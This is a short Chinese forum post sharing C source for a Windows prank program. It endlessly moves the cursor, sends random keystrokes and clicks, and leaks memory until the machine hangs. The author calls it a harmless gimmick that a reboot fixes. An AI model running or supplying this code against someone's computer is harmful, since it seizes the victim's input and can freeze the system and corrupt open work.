写了一个大杀器(windows快乐机)
提前说明:本程序无任何干货,大佬勿喷!其实原理很简单,就是控制键盘和鼠标乱动并且不断申请内存不释放
源码#include <stdio.h>
#include <windows.h>
#include <winuser.h>
#include <stdlib.h>
int main(void)
{
int x = 0, y = 0;
while (1)
{
int s = rand() % 100 + 1;
SetCursorPos(x, y);
x += 1;
SetCursorPos(x, y);
y += 1;
keybd_event(s, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
malloc(1024);
}
return 0;
}
大杀器也就是噱头而已,重启电脑就好啦
页:
[1]